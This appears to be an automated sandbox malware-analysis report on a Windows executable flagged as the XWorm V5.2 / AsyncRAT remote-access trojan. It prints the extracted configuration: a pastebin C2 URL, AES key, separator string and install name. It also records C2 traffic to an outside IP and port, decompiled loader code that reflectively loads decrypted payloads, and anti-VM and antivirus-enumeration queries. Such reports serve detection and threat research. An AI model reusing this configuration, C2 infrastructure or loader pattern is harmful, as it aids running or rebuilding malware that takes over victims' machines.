Source: ent.exe |
Malware Configuration Extractor: Xworm {"C2 url": "https://pastebin.com/raw/XzLzRHpk", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.2"} |
Source: ent.exe |
String decryptor: https://pastebin.com/raw/XzLzRHpk |
Source: ent.exe |
String decryptor: <123456789> |
Source: ent.exe |
String decryptor: <Xwormmm> |
Source: ent.exe |
String decryptor: XWorm V5.2 |
Source: ent.exe |
String decryptor: USB.exe |
Source: ent.exe |
Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE |
Source: unknown |
HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49730 version: TLS 1.2 |
Source: ent.exe |
Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE |
Source: Traffic |
Snort IDS: 2855924 ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound 192.168.2.4:49731 -> 3.124.142.205:14771 |
Source: Traffic |
Snort IDS: 2852870 ETPRO TROJAN Win32/XWorm CnC Checkin - Generic Prefix Bytes 3.124.142.205:14771 -> 192.168.2.4:49731 |
Source: Traffic |
Snort IDS: 2852923 ETPRO TROJAN Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) 192.168.2.4:49731 -> 3.124.142.205:14771 |
Source: Traffic |
Snort IDS: 2852874 ETPRO TROJAN Win32/XWorm CnC PING Command Inbound M2 3.124.142.205:14771 -> 192.168.2.4:49731 |
Source: Traffic |
Snort IDS: 2853193 ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound 192.168.2.4:49731 -> 3.124.142.205:14771 |
Source: Malware configuration extractor |
URLs: https://pastebin.com/raw/XzLzRHpk |
Source: unknown |
DNS query: name: pastebin.com |
Source: global traffic |
TCP traffic: 192.168.2.4:49731 -> 3.124.142.205:14771 |
Source: global traffic |
HTTP traffic detected: GET /raw/XzLzRHpk HTTP/1.1Host: pastebin.comConnection: Keep-Alive |
Source: Joe Sandbox View |
IP Address: 172.67.19.24 172.67.19.24 |
Source: Joe Sandbox View |
IP Address: 3.124.142.205 3.124.142.205 |
Source: Joe Sandbox View |
ASN Name: AMAZON-02US AMAZON-02US |
Source: Joe Sandbox View |
JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e |
Source: unknown |
UDP traffic detected without corresponding DNS query: 1.1.1.1 |
Source: unknown |
UDP traffic detected without corresponding DNS query: 1.1.1.1 |
Source: global traffic |
HTTP traffic detected: GET /raw/XzLzRHpk HTTP/1.1Host: pastebin.comConnection: Keep-Alive |
Source: global traffic |
DNS traffic detected: DNS query: pastebin.com |
Source: global traffic |
DNS traffic detected: DNS query: 0.tcp.eu.ngrok.io |
Source: ent.exe, 00000000.00000002.4091153100.0000000002961000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name |
Source: ent.exe, 00000000.00000002.4091153100.0000000002961000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://pastebin.com/raw/XzLzRHpk |
Source: unknown |
Network traffic detected: HTTP traffic on port 443 -> 49730 |
Source: unknown |
Network traffic detected: HTTP traffic on port 49730 -> 443 |
Source: unknown |
HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49730 version: TLS 1.2 |
Source: ent.exe, type: SAMPLE |
Matched rule: Detects AsyncRAT Author: ditekSHen |
Source: 0.0.ent.exe.670000.0.unpack, type: UNPACKEDPE |
Matched rule: Detects AsyncRAT Author: ditekSHen |
Source: 00000000.00000000.1610301643.0000000000672000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY |
Matched rule: Detects AsyncRAT Author: ditekSHen |
Source: ent.exe |
Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE |
Source: ent.exe, type: SAMPLE |
Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT |
Source: 0.0.ent.exe.670000.0.unpack, type: UNPACKEDPE |
Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT |
Source: 00000000.00000000.1610301643.0000000000672000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY |
Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT |
Source: ent.exe, HhJqaWbxad.cs |
Cryptographic APIs: 'TransformFinalBlock' |
Source: ent.exe, Hrb1QuEbdK.cs |
Cryptographic APIs: 'TransformFinalBlock' |
Source: ent.exe, Hrb1QuEbdK.cs |
Cryptographic APIs: 'TransformFinalBlock' |
Source: ent.exe, vWPhZKB0Lc87Y6KP7tFsNAYO1O35ROoxOSayV3Dtvx0DW23Gow7QMOZpkKYVpvHrFRb.cs |
Base64 encoded string: 'p7c+DXj0CZbo/dmcMAy7DeHDb6pTBt54fWli7uuogaZDpvE4xCMR7owoR6r5ADrJ' |
Source: classification engine |
Classification label: mal100.troj.evad.winEXE@1/0@2/2 |
Source: C:\Users\user\Desktop\ent.exe |
Mutant created: NULL |
Source: C:\Users\user\Desktop\ent.exe |
Mutant created: \Sessions\1\BaseNamedObjects\QcrQZJqSSienf6lv |
Source: ent.exe |
Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ |
Source: ent.exe |
Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80% |
Source: ent.exe |
ReversingLabs: Detection: 71% |
Source: ent.exe |
Virustotal: Detection: 63% |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: mscoree.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: apphelp.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: kernel.appcore.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: version.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: vcruntime140_clr0400.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: ucrtbase_clr0400.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: ucrtbase_clr0400.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: uxtheme.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: cryptsp.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: rsaenh.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: cryptbase.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: sspicli.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: windows.storage.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: wldp.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: profapi.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: rasapi32.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: rasman.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: rtutils.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: mswsock.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: winhttp.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: ondemandconnroutehelper.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: iphlpapi.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: dhcpcsvc6.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: dhcpcsvc.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: dnsapi.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: rasadhlp.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: fwpuclnt.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: secur32.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: schannel.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: mskeyprotect.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: ntasn1.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: ncrypt.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: ncryptsslp.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: msasn1.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: gpapi.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: wbemcomn.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: amsi.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: userenv.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: avicap32.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: msvfw32.dll |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Section loaded: winmm.dll |
Jump to behavior |
Source: ent.exe |
Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR |
Source: ent.exe |
Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE |
Source: ent.exe, xqYT7OUGqkqRwX29pnKgdR3LEd3UlR4s9VSWi0SJvmEDRqw0Iw95xtwXRJxwsvGOCcJ.cs |
.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{vWPhZKB0Lc87Y6KP7tFsNAYO1O35ROoxOSayV3Dtvx0DW23Gow7QMOZpkKYVpvHrFRb._5z42eciGnDiLWwMMBrlAWBswMfErHYemxpk5xbkzsUAJ2LzOtbbbzt9EimE5fVdPwl4,vWPhZKB0Lc87Y6KP7tFsNAYO1O35ROoxOSayV3Dtvx0DW23Gow7QMOZpkKYVpvHrFRb._4FweWkquh3RvVKJQG2WtYmUmdu8wJY2B7vAfxG6ZRtvleUJoWxznbOn1Ah6F4qbXilU,vWPhZKB0Lc87Y6KP7tFsNAYO1O35ROoxOSayV3Dtvx0DW23Gow7QMOZpkKYVpvHrFRb._34o2CttlV6Z5OkTMkYtBjptFaD0JPPENJOwKyYGN5tbUlW8wJKOyfu1lUO6aDnBMFQ4,vWPhZKB0Lc87Y6KP7tFsNAYO1O35ROoxOSayV3Dtvx0DW23Gow7QMOZpkKYVpvHrFRb.ieeUdjFxCZ7E8rHqfvKJ0bv4jGCETNis5lRvdjSUOZJnajGR8WUPoldl6KUY18OeJlZ,Hrb1QuEbdK.MlmUwDx7TN()}}, (string[])null, (Type[])null, (bool[])null, true) |
Source: ent.exe, xqYT7OUGqkqRwX29pnKgdR3LEd3UlR4s9VSWi0SJvmEDRqw0Iw95xtwXRJxwsvGOCcJ.cs |
.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{b5TtOv5X8T[2],Hrb1QuEbdK.IOdLpHuVBj(Convert.FromBase64String(b5TtOv5X8T[3]))}}, (string[])null, (Type[])null, (bool[])null, true) |
Source: ent.exe, xqYT7OUGqkqRwX29pnKgdR3LEd3UlR4s9VSWi0SJvmEDRqw0Iw95xtwXRJxwsvGOCcJ.cs |
.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { b5TtOv5X8T[2] }}, (string[])null, (Type[])null, (bool[])null, true) |
Source: ent.exe, xqYT7OUGqkqRwX29pnKgdR3LEd3UlR4s9VSWi0SJvmEDRqw0Iw95xtwXRJxwsvGOCcJ.cs |
.Net Code: PShk1H4H3Cyu00fmwuhvGxAgB27R8UwHEyB8qfYUPcAmYH7e6iutMwXa5dnqjVwqVGo System.AppDomain.Load(byte[]) |
Source: ent.exe, xqYT7OUGqkqRwX29pnKgdR3LEd3UlR4s9VSWi0SJvmEDRqw0Iw95xtwXRJxwsvGOCcJ.cs |
.Net Code: Y2Mr5BI7zz System.AppDomain.Load(byte[]) |
Source: ent.exe, xqYT7OUGqkqRwX29pnKgdR3LEd3UlR4s9VSWi0SJvmEDRqw0Iw95xtwXRJxwsvGOCcJ.cs |
.Net Code: Y2Mr5BI7zz |
Source: ent.exe, a6ZWaVxrpCMZ1hn9IHtFLzJrzGCUusj4xnRO8lJqsFTaQyM8mMe7975yjs7MsuqDsYK.cs |
High entropy of concatenated method names: 'kkTuPt2aSfUCWD5B9u719FiqGuU2H0tlMOTctub0gXBxLRAVaYutRsiLNOTcz2Vc7A1', 'xfaBbejgSA1KBfxRPJ3rNz4YXeaWeqc0jW5O191Zt7E7JRk7arZ0eVFtyieVZwXzKim', '_0b6u7rR6SPsTm22cukU6XX9oEmR1ixYnluAAyRkqq2XlCnRy0bzSjrvmKIIHUKe6apm', 'gJ80Ag8XtrZzoRlw19Yztu6e9vmbLyopjdxIRAeI1eQuC4ux1ykxCxc52LrERmEpEcm', 'u2HCKkSoVq', 'DtX22eLYGL', 'RoeZXxvKnD', 'gS5CgA3pGE', '_9WIfQAnvJE', 'BhhrquxyOz' |
Source: ent.exe, xqYT7OUGqkqRwX29pnKgdR3LEd3UlR4s9VSWi0SJvmEDRqw0Iw95xtwXRJxwsvGOCcJ.cs |
High entropy of concatenated method names: 'FkchzINObi4T7oxZuCB8j24vI6CulSUpdyOvxRjSCbedwBJ5SxoW9mDQKoMEcal28w3', 'PShk1H4H3Cyu00fmwuhvGxAgB27R8UwHEyB8qfYUPcAmYH7e6iutMwXa5dnqjVwqVGo', 'WD3mGYdUmHpZosDYWaKsoBneE26kDy6xUlygduPwTu2ZXUp19UrAA5DRuJtFaLn7zIn', 'mpWtboOENiPtar1dNoqyU6NbWJ3oj37LmBzKW6JEnhj9Fj60bRM00MFNoNeci0W8aoA', 'RrmZQ1TJSq', 'pWzBTmxAA6', 'iGDm6GEZ7l', 'NcYqpCtQcu', 'f8yXbUibfA', 'T7ZmhZebZ3' |
Source: ent.exe, poLaxEtZwgWjBPprJIGiVujsCaD8XThBt7Ad3g4kmIDEodDDhnbw3JkjeiuvaRGiPWQ.cs |
High entropy of concatenated method names: '_7PMKLeHBlFcGHzQCVJ9xYabzYVuZTqKDs9kFa0ug3Ru1aRqFwAZfTVIXTWgcdkB4pSo', 'N5u28MZ5bwkyHfwMMhTyAgycrDjtu86xIJTCZk89pPQFTsV4CyzgkYycOLOKkksTCeR', 'L7jyCVi5euMaY7Jiwv6iaemuomapDsvJVwesEUw31cWgyvFomFwD6w404om9qUhWdH4', 'VFn736wenLxHlGnjbr7GR3xR4sooT3qsTjFMY6i67XKfiNLHBdUdeWj50XroMZBtyCt', 'eDnaH3D3Bm9dbc1fU9n6zjECzRViAxcfLUWuruvBqi1rOd4ZTekn5E9Of54wC7UBdoS', 'INbBhmpDWjP3wyrKVQIGOR0NW2dstGLCN7ZALUOzqOunlSCPqnwuv8DtTCxnVkXjXAT', 'lfGaMQrlin5ASu3vWnUyHNg2CAsuyCXPo0eFiwOD88B9sMzSovaUcB87n8UUMuLGAf6', '_0vX86dMPIEdfKVnKTocYSgNJQMnPYcN4VsQV6IM7lGppUqWuvUzoYvQzu8672maMSCA', 'BJ1xITWc7eKFzdQzdtCbRaP6qOPqZmd972X2PlQP0fVqogtGnqQ5guemADvCRyzwLD3', 'rtwLn5eSeoUoip1FQfZPmOpJjPVd9yp8HS565jCa9yoTTI0u8InZ6mkWUTttOApq5Qw' |
Source: ent.exe, Hrb1QuEbdK.cs |
High entropy of concatenated method names: 'WVNyMtR6FD', 'TVRe3kgUUd', 'VUPphhmVqZ', 'gsNDkP6dMl', 'Q0Gkupd363', 'xQ1nFhHEXo', 'hI6pAbL93m', 'Q9gcRMjZdp', 'KRxiYFs0Hp', 'mjRPqfKrDa' |
Source: C:\Users\user\Desktop\ent.exe |
Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe |
WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController |
Source: C:\Users\user\Desktop\ent.exe TID: 7644 |
Thread sleep time: -2767011611056431s >= -30000s |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe TID: 7648 |
Thread sleep count: 9757 > 30 |
Jump to behavior |
Source: C:\Users\user\Desktop\ent.exe TID: 7648 |
Thread sleep count: 94 > 30 |
Jump to behavior |
Source: ent.exe, 00000000.00000002.4090588162.0000000000C64000.00000004.00000020.00020000.00000000.sdmp |
Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll4 |
Source: ent.exe, 00000000.00000002.4091153100.00000000029E7000.00000004.00000800.00020000.00000000.sdmp |
Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0 |
Source: ent.exe, 00000000.00000002.4091153100.00000000029E7000.00000004.00000800.00020000.00000000.sdmp |
Binary or memory string: Program Manager |
Source: ent.exe, 00000000.00000002.4091153100.00000000029E7000.00000004.00000800.00020000.00000000.sdmp |
Binary or memory string: PING!<Xwormmm>Program Manager<Xwormmm>0 |
Source: ent.exe, 00000000.00000002.4091153100.00000000029E7000.00000004.00000800.00020000.00000000.sdmp |
Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0@ |
Source: ent.exe, 00000000.00000002.4091153100.00000000029E7000.00000004.00000800.00020000.00000000.sdmp |
Binary or memory string: Program Manager2 |
Source: ent.exe, 00000000.00000002.4090588162.0000000000C1D000.00000004.00000020.00020000.00000000.sdmp, ent.exe, 00000000.00000002.4092336993.000000001B5F3000.00000004.00000020.00020000.00000000.sdmp |
Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe |
Source: C:\Users\user\Desktop\ent.exe |
WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct |
Source: Yara match |
File source: ent.exe, type: SAMPLE |
Source: Yara match |
File source: 0.0.ent.exe.670000.0.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 00000000.00000002.4091153100.00000000029AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000000.00000000.1610301643.0000000000672000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY |
Source: Yara match |
File source: Process Memory Space: ent.exe PID: 7488, type: MEMORYSTR |
Source: Yara match |
File source: ent.exe, type: SAMPLE |
Source: Yara match |
File source: 0.0.ent.exe.670000.0.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 00000000.00000002.4091153100.00000000029AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000000.00000000.1610301643.0000000000672000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY |
Source: Yara match |
File source: Process Memory Space: ent.exe PID: 7488, type: MEMORYSTR |